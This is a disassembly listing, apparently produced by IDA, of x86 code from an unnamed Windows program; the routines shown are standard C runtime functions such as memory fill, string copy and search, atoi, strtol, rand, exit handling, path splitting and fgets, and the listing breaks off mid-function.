		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx

loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3

loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD

loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7

loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------

loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681

loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642

loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635

loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664

loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652

loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7

loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi

loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi

loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630

loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx

loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1

loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax

loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9

loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B

loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43C534, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------

loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------

loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738

loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx

loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43C534, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------

loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------

loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax

loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A2CC
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748

loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB2F0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		call	near ptr 270060Dh
		nop
		push	eax
		call	near ptr 26F0C98h
		nop

loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB2EC, edi
		mov	byte_4DB2E8, bl
		jnz	short loc_41B844
		mov	eax, dword_4DC95C
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DC958
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832

loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax

loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DC95C
		jnb	short loc_41B81F

loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi

loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx

loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB2F0, edi
		call	near ptr 77E75CB5h
		nop

loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax

loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------

loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------

loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A2B0, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A2B0
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A2B0, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967

loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934

loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi

loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929

loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]

loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------

loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------

loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------

loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------

loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0

loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E

loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DC821[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi

loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------

loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0

loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi

loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax

loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------

loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax

loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0

loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40

loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C

loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------

loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]

loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------

loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx

loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C

loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0

loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi

loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43C534, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------

loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------

loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------

loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E

loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx

loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82

loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43C534, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------

loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------

loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43C534, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------

loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C328
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18

loc_41BD12:				; CODE XREF: sub_41BBBD+147j
